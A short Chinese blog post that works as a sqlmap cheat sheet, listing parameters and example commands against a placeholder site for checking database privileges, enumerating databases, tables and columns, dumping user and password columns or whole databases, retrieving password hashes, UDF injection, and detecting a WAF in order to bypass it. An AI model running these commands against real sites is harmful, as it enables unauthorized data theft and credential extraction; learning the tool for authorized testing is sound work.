sqlmap使用

2019-03-30  本文已影响0人  theLexical

sqlmap是由Python编写的渗透测试工具,主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具。

SQLMAP使用

基本参数

is-dba          当前用户权限
dbs             所有数据库
current-db      当前数据库
users               所有用户
current-user        当前用户
--tables            
--columns
--dump
--dump-all
--level
--passwords         枚举所有用户密码
--roles             列出数据库dbajuese
--privileges        列出数据库dba权限

-D
-T
-C
--dbms=mysql oracle mssql   指定数据库
--schema --batch --exclude-sysdbs  查看数据库的架构 (比较大的一个命令)
sqlmap -u http://example.com?id=1
# 显示灰色的,可能存在注入
# 注入级别

# 判断是不是dba权限
sqlmap -u http://example.com?id=1 --is-dba

# 列所有的数据库
sqlmap -u http://example.com?id=1 --dbs   # 一般能列的话,就是管理员了

# 看当前用户
sqlmap -u http://example.com?id=1 --current-user

# 查看当前数据库
sqlmap -u http://example.com?id=1 --current-db   # 假设结果为test

# 查看test数据库的表
sqlmap -u http://example.com?id=1 --tables -D sc

# 查看test数据库中sc表的列
sqlmap -u http://example.com?id=1 --columns -T sc -D test

# 把sc表中的数据转储
sqlmap -u http://example.com?id=1 --dump -T sc -D test
# 或者只转储某几列
sqlmap -u http://example.com?id=1 --dump -C user,passwd -T sc -D test

# access,mysql<5.0,直接爆表就可以
# 查看有哪些用户       (mysql可以根据ip地址设立独立的密码)
sqlmap -u http://example.com?id=1 --users

# 查看用户密码
sqlmap -u http://example.com?id=1 --passwords
--dump-all      # 脱库,获取所有数据库表的内容
--exclude-sysdbs    # 只获取用户数据库的表

--search,-C,-T,-D   # 搜索特定的表名/列名/db名

--udf-inject, --shared-lib  # udf-用户自定义函数

-s  # 保存http日志;生成SQLlite文件
-t  # 保存
sqlmap -u http://example.com?index.asp?id=1 --flush-session -t c:/1.txt

--batch # 默认,不需用户交互
--charset=utf-8 # 指定编码,不用的话会自动识别
--hex       # 十六进制显示

--flush-session # 清除缓存文件

--output-dir    # 指定保存路径

--smart     # 进行聪明的探测,更快一点
--mobile    # 有时服务器只接受移动端访问,假装自己是手机

# 探测waf(了解即可)
--identify-waf  # 识别用了什么waf,方便绕过
--check-waf     # 探测是不是有waf

bp、sqlmap、awvs、nmap、msf、hydra

上一篇 下一篇

猜你喜欢

热点阅读